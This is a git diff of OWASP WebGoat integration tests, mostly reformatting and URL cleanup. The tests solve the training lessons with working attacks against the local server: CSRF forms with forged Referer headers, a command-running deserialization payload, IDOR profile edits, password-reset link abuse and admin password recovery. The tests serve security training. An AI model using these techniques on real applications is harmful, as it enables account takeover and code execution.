-            "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n" +
-            "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n" +
-            "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n" +
-            "<input type=\"submit\" value=\"assignment 8\"/>\n" +
-            "</form></body></html>";
+  private static final String trickHTML8 =
+      "<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+          + "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+          + "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+          + "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+          + "<input type=\"submit\" value=\"assignment 8\"/>\n"
+          + "</form></body></html>";

  private String webwolfFileDir;

@ -58,10 +64,12 @@ public class CSRFIntegrationTest extends IntegrationTest {
  public void init() {
    startLesson("CSRF");
    webwolfFileDir = getWebWolfFileServerLocation();
-        uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("/csrf/basic-get-flag")));
-        uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("/csrf/review")));
-        uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("/csrf/feedback/message")));
-        uploadTrickHtml("csrf8.html", trickHTML8.replace("WEBGOATURL", url("/login")).replace("USERNAME", this.getUser()));
+    uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", url("csrf/basic-get-flag")));
+    uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", url("csrf/review")));
+    uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", url("csrf/feedback/message")));
+    uploadTrickHtml(
+        "csrf8.html",
+        trickHTML8.replace("WEBGOATURL", url("login")).replace("USERNAME", this.getUser()));
  }

  @TestFactory
@ -70,8 +78,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
        dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
        dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
        dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
-                dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html")))
-        );
+        dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
  }

  @AfterEach
@ -96,20 +103,27 @@ public class CSRFIntegrationTest extends IntegrationTest {
        .relaxedHTTPSValidation()
        .cookie("WEBWOLFSESSION", getWebWolfCookie())
        .multiPart("file", htmlName, htmlContent.getBytes())
-                .post(webWolfUrl("/WebWolf/fileupload"))
+        .post(webWolfUrl("fileupload"))
        .then()
-                .extract().response().getBody().asString();
+        .extract()
+        .response()
+        .getBody()
+        .asString();
  }

  private String callTrickHtml(String htmlName) {
-        String result = RestAssured.given()
+    String result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .cookie("WEBWOLFSESSION", getWebWolfCookie())
-                .get(webWolfUrl("/files/" + this.getUser() + "/" + htmlName))
+            .get(webWolfUrl("files/" + this.getUser() + "/" + htmlName))
            .then()
-                .extract().response().getBody().asString();
+            .extract()
+            .response()
+            .getBody()
+            .asString();
    result = result.substring(8 + result.indexOf("action=\""));
    result = result.substring(0, result.indexOf("\""));

@ -117,19 +131,22 @@ public class CSRFIntegrationTest extends IntegrationTest {
  }

  private void checkAssignment3(String goatURL) {
-        String flag = RestAssured.given()
+    String flag =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
+            .header("Referer", webWolfUrl("files/fake.html"))
            .post(goatURL)
            .then()
-                .extract().path("flag").toString();
+            .extract()
+            .path("flag")
+            .toString();

    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/confirm-flag-1"), params, true);
+    checkAssignment(url("csrf/confirm-flag-1"), params, true);
  }

  private void checkAssignment4(String goatURL) {
@ -138,42 +155,50 @@ public class CSRFIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("reviewText", "test review");
    params.put("stars", "5");
-        params.put("validateReq", "2aa14227b9a13d0bede0388a7fba9aa9");//always the same token is the weakness
+    params.put(
+        "validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness

-        boolean result = RestAssured.given()
+    boolean result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
+            .header("Referer", webWolfUrl("files/fake.html"))
            .formParams(params)
            .post(goatURL)
            .then()
-                .extract().path("lessonCompleted");
+            .extract()
+            .path("lessonCompleted");
    assertEquals(true, result);
-
  }

  private void checkAssignment7(String goatURL) {
    Map<String, Object> params = new HashMap<>();
-        params.put("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!", "\"}");
+    params.put(
+        "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+            + " best!!",
+        "\"}");

-        String flag = RestAssured.given()
+    String flag =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
+            .header("Referer", webWolfUrl("files/fake.html"))
            .contentType(ContentType.TEXT)
-                .body("{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the best!!" + "=\"}")
+            .body(
+                "{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+                    + " the best!!=\"}")
            .post(goatURL)
            .then()
-                .extract().asString();
+            .extract()
+            .asString();
    flag = flag.substring(9 + flag.indexOf("flag is:"));
    flag = flag.substring(0, flag.indexOf("\""));

    params.clear();
    params.put("confirmFlagVal", flag);
-        checkAssignment(url("/WebGoat/csrf/feedback"), params, true);
-
+    checkAssignment(url("csrf/feedback"), params, true);
  }

  private void checkAssignment8(String goatURL) {
@ -187,15 +212,17 @@ public class CSRFIntegrationTest extends IntegrationTest {
    params.put("password", "password");

    // login and get the new cookie
-        String newCookie = RestAssured.given()
+    String newCookie =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .header("Referer", webWolfUrl("/files/fake.html"))
+            .header("Referer", webWolfUrl("files/fake.html"))
            .params(params)
            .post(goatURL)
            .then()
-                .extract().cookie("JSESSIONID");
+            .extract()
+            .cookie("JSESSIONID");

    // select the lesson
    RestAssured.given()
@ -207,23 +234,27 @@ public class CSRFIntegrationTest extends IntegrationTest {
        .statusCode(200);

    // click on the assignment
-        boolean result = RestAssured.given()
+    boolean result =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", newCookie)
-                .post(url("/csrf/login"))
+            .post(url("csrf/login"))
            .then()
            .statusCode(200)
-                .extract().path("lessonCompleted");
+            .extract()
+            .path("lessonCompleted");

    assertThat(result).isTrue();

    login();
    startLesson("CSRF", false);

-        Overview[] assignments = RestAssured.given()
+    Overview[] assignments =
+        RestAssured.given()
            .cookie("JSESSIONID", getWebGoatCookie())
-                .get(url("/service/lessonoverview.mvc"))
+            .relaxedHTTPSValidation()
+            .get(url("service/lessonoverview.mvc"))
            .then()
            .extract()
            .jsonPath()
@ -240,9 +271,7 @@ public class CSRFIntegrationTest extends IntegrationTest {
    boolean solved;
  }

-    /**
-     * Try to register the new user. Ignore the result.
-     */
+  /** Try to register the new user. Ignore the result. */
  private void registerCSRFUser() {

    RestAssured.given()
@ -253,7 +282,5 @@ public class CSRFIntegrationTest extends IntegrationTest {
        .formParam("matchingPassword", "password")
        .formParam("agree", "agree")
        .post(url("register.mvc"));
-
  }
-
 }
--- a/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/ChallengeIntegrationTest.java
@ -1,21 +1,20 @@
 package org.owasp.webgoat;

+import static org.junit.jupiter.api.Assertions.assertTrue;

 import io.restassured.RestAssured;
-import org.junit.jupiter.api.Test;
-
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.List;
 import java.util.Map;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+import org.springframework.http.HttpStatus;

 public class ChallengeIntegrationTest extends IntegrationTest {

  @Test
-    public void testChallenge1() {
+  void testChallenge1() {
    startLesson("Challenge1");

    byte[] resultBytes =
@ -23,10 +22,11 @@ public class ChallengeIntegrationTest extends IntegrationTest {
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/challenge/logo"))
+            .get(url("challenge/logo"))
            .then()
            .statusCode(200)
-                        .extract().asByteArray();
+            .extract()
+            .asByteArray();

    String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
    Map<String, Object> params = new HashMap<>();
@ -34,24 +34,23 @@ public class ChallengeIntegrationTest extends IntegrationTest {
    params.put("username", "admin");
    params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));

-
-        checkAssignment(url("/WebGoat/challenge/1"), params, true);
+    checkAssignment(url("challenge/1"), params, true);
    String result =
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .formParams(params)
-                        .post(url("/WebGoat/challenge/1"))
+            .post(url("challenge/1"))
            .then()
            .statusCode(200)
-                        .extract().asString();
+            .extract()
+            .asString();

    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
    params.clear();
    params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
-
+    checkAssignment(url("challenge/flag"), params, true);

    checkResults("/challenge/1");

@ -60,16 +59,17 @@ public class ChallengeIntegrationTest extends IntegrationTest {
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
+            .get(url("scoreboard-data"))
            .then()
            .statusCode(200)
-                        .extract().jsonPath()
+            .extract()
+            .jsonPath()
            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
    assertTrue(capturefFlags.contains("Admin lost password"));
  }

  @Test
-    public void testChallenge5() {
+  void testChallenge5() {
    startLesson("Challenge5");

    Map<String, Object> params = new HashMap<>();
@ -83,16 +83,16 @@ public class ChallengeIntegrationTest extends IntegrationTest {
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .formParams(params)
-                        .post(url("/WebGoat/challenge/5"))
+            .post(url("challenge/5"))
            .then()
            .statusCode(200)
-                        .extract().asString();
+            .extract()
+            .asString();

    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
    params.clear();
    params.put("flag", flag);
-        checkAssignment(url("/WebGoat/challenge/flag"), params, true);
-
+    checkAssignment(url("challenge/flag"), params, true);

    checkResults("/challenge/5");

@ -101,12 +101,70 @@ public class ChallengeIntegrationTest extends IntegrationTest {
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/scoreboard-data"))
+            .get(url("scoreboard-data"))
            .then()
            .statusCode(200)
-                        .extract().jsonPath()
+            .extract()
+            .jsonPath()
            .get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
    assertTrue(capturefFlags.contains("Without password"));
  }

+  @Test
+  void testChallenge7() {
+    startLesson("Challenge7");
+    cleanMailbox();
+
+    // One should first be able to download git.zip from WebGoat
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(url("challenge/7/.git"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Should send an email to WebWolf inbox this should give a hint to the link being static
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", getUser() + "@webgoat.org")
+        .post(url("challenge/7"))
+        .then()
+        .statusCode(200)
+        .extract()
+        .asString();
+
+    // Check whether email has been received
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrl("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+
+    // Call reset link with admin link
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("challenge/7/reset-password/{link}"), "375afe1104f4a487a73823c50a9292a2")
+            .then()
+            .statusCode(HttpStatus.ACCEPTED.value())
+            .extract()
+            .asString();
+
+    String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
+    checkAssignment(url("challenge/flag"), Map.of("flag", flag), true);
+  }
 }
--- a/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/CryptoIntegrationTest.java
@ -2,6 +2,7 @@ package org.owasp.webgoat;

 import static org.junit.jupiter.api.Assertions.fail;

+import io.restassured.RestAssured;
 import java.nio.charset.Charset;
 import java.security.NoSuchAlgorithmException;
 import java.security.PrivateKey;
@ -10,15 +11,11 @@ import java.security.spec.InvalidKeySpecException;
 import java.util.Base64;
 import java.util.HashMap;
 import java.util.Map;
-
 import javax.xml.bind.DatatypeConverter;
-
 import org.junit.jupiter.api.Test;
 import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
 import org.owasp.webgoat.lessons.cryptography.HashingAssignment;

-import io.restassured.RestAssured;
-
 public class CryptoIntegrationTest extends IntegrationTest {

  @Test
@ -46,13 +43,18 @@ public class CryptoIntegrationTest extends IntegrationTest {
    checkAssignmentDefaults();

    checkResults("/crypto");
-
  }

  private void checkAssignment2() {

-		String basicEncoding = RestAssured.given().when().relaxedHTTPSValidation()
-				.cookie("JSESSIONID", getWebGoatCookie()).get(url("/crypto/encoding/basic")).then().extract()
+    String basicEncoding =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/encoding/basic"))
+            .then()
+            .extract()
            .asString();
    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
@ -62,7 +64,7 @@ public class CryptoIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("answer_user", answer_user);
    params.put("answer_pwd", answer_pwd);
-		checkAssignment(url("/crypto/encoding/basic-auth"), params, true);
+    checkAssignment(url("crypto/encoding/basic-auth"), params, true);
  }

  private void checkAssignment3() {
@ -70,16 +72,30 @@ public class CryptoIntegrationTest extends IntegrationTest {
    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("answer_pwd1", answer_1);
-		checkAssignment(url("/crypto/encoding/xor"), params, true);
+    checkAssignment(url("crypto/encoding/xor"), params, true);
  }

  private void checkAssignment4() throws NoSuchAlgorithmException {

-		String md5Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/md5")).then().extract().asString();
+    String md5Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/md5"))
+            .then()
+            .extract()
+            .asString();

-		String sha256Hash = RestAssured.given().when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
-				.get(url("/crypto/hashing/sha256")).then().extract().asString();
+    String sha256Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(url("crypto/hashing/sha256"))
+            .then()
+            .extract()
+            .asString();

    String answer_1 = "unknown";
    String answer_2 = "unknown";
@ -96,18 +112,20 @@ public class CryptoIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("answer_pwd1", answer_1);
    params.put("answer_pwd2", answer_2);
-		checkAssignment(url("/WebGoat/crypto/hashing"), params, true);
+    checkAssignment(url("crypto/hashing"), params, true);
  }

  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {

-    	String privatePEM = RestAssured.given()
+    String privatePEM =
+        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-            	.get(url("/crypto/signing/getprivate"))
+            .get(url("crypto/signing/getprivate"))
            .then()
-				.extract().asString();
+            .extract()
+            .asString();
    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);

    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
@ -117,18 +135,22 @@ public class CryptoIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("modulus", modulus);
    params.put("signature", signature);
-        checkAssignment(url("/crypto/signing/verify"), params, true);
+    checkAssignment(url("crypto/signing/verify"), params, true);
  }

  private void checkAssignmentDefaults() {

-    	String text = new String(Base64.getDecoder().decode("TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl".getBytes(Charset.forName("UTF-8"))));
+    String text =
+        new String(
+            Base64.getDecoder()
+                .decode(
+                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
+                        .getBytes(Charset.forName("UTF-8"))));

    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("secretText", text);
    params.put("secretFileName", "default_secret");
-        checkAssignment(url("/crypto/secure/defaults"), params, true);
+    checkAssignment(url("crypto/secure/defaults"), params, true);
  }
-    
 }
--- a/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/DeserializationIntegrationTest.java
@ -1,12 +1,11 @@
 package org.owasp.webgoat;

-import org.dummy.insecure.framework.VulnerableTaskHolder;
-import org.junit.jupiter.api.Test;
-import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
-
 import java.io.IOException;
 import java.util.HashMap;
 import java.util.Map;
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;

 public class DeserializationIntegrationTest extends IntegrationTest {

@ -20,15 +19,15 @@ public class DeserializationIntegrationTest extends IntegrationTest {
    params.clear();

    if (OS.indexOf("win") > -1) {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+      params.put(
+          "token",
+          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
    } else {
-            params.put("token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
+      params.put(
+          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
    }
-        checkAssignment(url("/WebGoat/InsecureDeserialization/task"), params, true);
+    checkAssignment(url("InsecureDeserialization/task"), params, true);

    checkResults("/InsecureDeserialization/");
-
  }
-
-
 }
--- a/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/GeneralLessonIntegrationTest.java
@ -61,7 +61,8 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.clear();
    params.put(
        "question_0_solution",
-        "Solution 3: By stealing a database where names and emails are stored and uploading it to a website.");
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+            + " website.");
    params.put(
        "question_1_solution",
        "Solution 1: By changing the names and emails of one or more users stored in a database.");
@ -71,7 +72,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.put(
        "question_3_solution",
        "Solution 2: The systems security is compromised even if only one goal is harmed.");
-    checkAssignment(url("/WebGoat/cia/quiz"), params, true);
+    checkAssignment(url("cia/quiz"), params, true);
    checkResults("/cia/");
  }

@ -94,7 +95,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
      Map<String, Object> params = new HashMap<>();
      params.clear();
      params.put("payload", solution);
-      checkAssignment(url("/WebGoat/VulnerableComponents/attack1"), params, true);
+      checkAssignment(url("VulnerableComponents/attack1"), params, true);
      checkResults("/VulnerableComponents/");
    }
  }
@ -106,7 +107,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("username", "CaptainJack");
    params.put("password", "BlackPearl");
-    checkAssignment(url("/WebGoat/InsecureLogin/task"), params, true);
+    checkAssignment(url("InsecureLogin/task"), params, true);
    checkResults("/InsecureLogin/");
  }

@ -116,7 +117,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    Map<String, Object> params = new HashMap<>();
    params.clear();
    params.put("password", "ajnaeliclm^&&@kjn.");
-    checkAssignment(url("/WebGoat/SecurePasswords/assignment"), params, true);
+    checkAssignment(url("SecurePasswords/assignment"), params, true);
    checkResults("SecurePasswords/");

    startLesson("AuthBypass");
@ -126,7 +127,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.put("jsEnabled", "1");
    params.put("verifyMethod", "SEC_QUESTIONS");
    params.put("userId", "12309746");
-    checkAssignment(url("/WebGoat/auth-bypass/verify-account"), params, true);
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
    checkResults("/auth-bypass/");

    startLesson("HttpProxies");
@ -137,8 +138,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
            .cookie("JSESSIONID", getWebGoatCookie())
            .header("x-request-intercepted", "true")
            .contentType(ContentType.JSON)
-            .get(
-                url("/WebGoat/HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .get(url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
            .then()
            .statusCode(200)
            .extract()
@ -164,7 +164,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
            .header("webgoat-requested-by", "dom-xss-vuln")
            .header("X-Requested-With", "XMLHttpRequest")
            .formParams(params)
-            .post(url("/WebGoat/CrossSiteScripting/phone-home-xss"))
+            .post(url("CrossSiteScripting/phone-home-xss"))
            .then()
            .statusCode(200)
            .extract()
@ -173,12 +173,12 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {

    params.clear();
    params.put("successMessage", secretNumber);
-    checkAssignment(url("/WebGoat/ChromeDevTools/dummy"), params, true);
+    checkAssignment(url("ChromeDevTools/dummy"), params, true);

    params.clear();
    params.put("number", "24");
    params.put("network_num", "24");
-    checkAssignment(url("/WebGoat/ChromeDevTools/network"), params, true);
+    checkAssignment(url("ChromeDevTools/network"), params, true);

    checkResults("/ChromeDevTools/");
  }
@ -193,7 +193,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.put("jsEnabled", "1");
    params.put("verifyMethod", "SEC_QUESTIONS");
    params.put("userId", "12309746");
-    checkAssignment(url("/auth-bypass/verify-account"), params, true);
+    checkAssignment(url("auth-bypass/verify-account"), params, true);
    checkResults("/auth-bypass/");
  }

@ -204,7 +204,7 @@ public class GeneralLessonIntegrationTest extends IntegrationTest {
    params.clear();
    params.put("param1", "secr37Value");
    params.put("param2", "Main");
-    checkAssignment(url("/lesson-template/sample-attack"), params, true);
+    checkAssignment(url("lesson-template/sample-attack"), params, true);
    checkResults("/lesson-template/");
  }
 }
--- a/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/IDORIntegrationTest.java
@ -1,13 +1,12 @@
 package org.owasp.webgoat;

-
 import static org.junit.jupiter.api.DynamicTest.dynamicTest;

-import java.io.IOException;
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
 import java.util.Arrays;
 import java.util.HashMap;
 import java.util.Map;
-
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
@ -15,14 +14,9 @@ import org.junit.jupiter.api.BeforeEach;
 import org.junit.jupiter.api.DynamicTest;
 import org.junit.jupiter.api.TestFactory;

-import io.restassured.RestAssured;
-import io.restassured.http.ContentType;
-import lombok.SneakyThrows;
-
 public class IDORIntegrationTest extends IntegrationTest {

  @BeforeEach
-    @SneakyThrows
  public void init() {
    startLesson("IDOR");
  }
@ -30,69 +24,77 @@ public class IDORIntegrationTest extends IntegrationTest {
  @TestFactory
  Iterable<DynamicTest> testIDORLesson() {
    return Arrays.asList(
-    			dynamicTest("login",()-> loginIDOR()),
-    			dynamicTest("profile", () -> profile())
-    			);
+        dynamicTest("assignment 2 - login", this::loginIDOR),
+        dynamicTest("profile", this::profile));
  }

  @AfterEach
-    public void shutdown() throws IOException {
+  public void shutdown() {
    checkResults("/IDOR");
  }

-    private void loginIDOR() throws IOException {
+  private void loginIDOR() {

    Map<String, Object> params = new HashMap<>();
-        params.clear();
    params.put("username", "tom");
    params.put("password", "cat");

-    	
-        checkAssignment(url("/WebGoat/IDOR/login"), params, true);
-        	
+    checkAssignment(url("IDOR/login"), params, true);
  }

  private void profile() {
+
+    // View profile - assignment 3a
    MatcherAssert.assertThat(
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile"))
+            .get(url("IDOR/profile"))
            .then()
            .statusCode(200)
-                        .extract().path("userId"), CoreMatchers.is("2342384"));
+            .extract()
+            .path("userId"),
+        CoreMatchers.is("2342384"));
+
+    // Show difference - assignment 3b
    Map<String, Object> params = new HashMap<>();
-    	params.clear();
    params.put("attributes", "userId,role");
-        checkAssignment(url("/WebGoat/IDOR/diff-attributes"), params, true);
+    checkAssignment(url("IDOR/diff-attributes"), params, true);
+
+    // View profile another way - assignment 4
    params.clear();
    params.put("url", "WebGoat/IDOR/profile/2342384");
-        checkAssignment(url("/WebGoat/IDOR/profile/alt-path"), params, true);
+    checkAssignment(url("IDOR/profile/alt-path"), params, true);

+    // assignment 5a
    MatcherAssert.assertThat(
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
-                        .get(url("/WebGoat/IDOR/profile/2342388"))
+            .get(url("IDOR/profile/2342388"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));

+    // assignment 5b
    MatcherAssert.assertThat(
        RestAssured.given()
            .when()
            .relaxedHTTPSValidation()
            .cookie("JSESSIONID", getWebGoatCookie())
            .contentType(ContentType.JSON) // part of the lesson
-                        .body("{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\", \"userId\":\"2342388\"}")
-                        .put(url("/WebGoat/IDOR/profile/2342388"))
+            .body(
+                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+                    + " \"userId\":\"2342388\"}")
+            .put(url("IDOR/profile/2342388"))
            .then()
            .statusCode(200)
-                        .extract().path("lessonCompleted"), CoreMatchers.is(true));       
-        
-        
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
  }
-    
 }
--- a/src/it/java/org/owasp/webgoat/IntegrationTest.java
+++ b/src/it/java/org/owasp/webgoat/IntegrationTest.java
@ -1,60 +1,72 @@
 package org.owasp.webgoat;

+import static io.restassured.RestAssured.given;
+
 import io.restassured.RestAssured;
 import io.restassured.http.ContentType;
+import java.util.Map;
 import lombok.Getter;
 import org.hamcrest.CoreMatchers;
 import org.hamcrest.MatcherAssert;
 import org.junit.jupiter.api.AfterEach;
 import org.junit.jupiter.api.BeforeEach;
-
-import java.util.Map;
-import java.util.Objects;
-
-import static io.restassured.RestAssured.given;
+import org.springframework.http.HttpStatus;

 public abstract class IntegrationTest {

-    private static String webGoatPort = Objects.requireNonNull(System.getProperty("webgoatport"));
+  private static String webGoatPort = System.getenv().getOrDefault("WEBGOAT_PORT", "8080");
+  private static String webGoatContext =
+      System.getenv().getOrDefault("WEBGOAT_CONTEXT", "/WebGoat/");
+
+  @Getter private static String webWolfPort = System.getenv().getOrDefault("WEBWOLF_PORT", "9090");
+
  @Getter
-    private static String webWolfPort = Objects.requireNonNull(System.getProperty("webwolfport"));
-    private static boolean useSSL = false;
-    private static String webgoatUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webGoatPort + "/WebGoat/";
-    private static String webWolfUrl = (useSSL ? "https:" : "http:") + "//localhost:" + webWolfPort + "/";
+  private static String webWolfHost = System.getenv().getOrDefault("WEBWOLF_HOST", "127.0.0.1");
+
  @Getter
-    private String webGoatCookie;
-    @Getter
-    private String webWolfCookie;
-    @Getter
-    private String user = "webgoat";
+  private static String webGoatHost = System.getenv().getOrDefault("WEBGOAT_HOST", "127.0.0.1");
+
+  private static String webWolfContext =
+      System.getenv().getOrDefault("WEBWOLF_CONTEXT", "/WebWolf/");
+
+  private static boolean useSSL =
+      Boolean.valueOf(System.getenv().getOrDefault("WEBGOAT_SSLENABLED", "false"));
+  private static String webgoatUrl =
+      (useSSL ? "https://" : "http://") + webGoatHost + ":" + webGoatPort + webGoatContext;
+  private static String webWolfUrl = "http://" + webWolfHost + ":" + webWolfPort + webWolfContext;
+  @Getter private String webGoatCookie;
+  @Getter private String webWolfCookie;
+  @Getter private final String user = "webgoat";

  protected String url(String url) {
-        url = url.replaceFirst("/WebGoat/", "");
-        url = url.replaceFirst("/WebGoat", "");
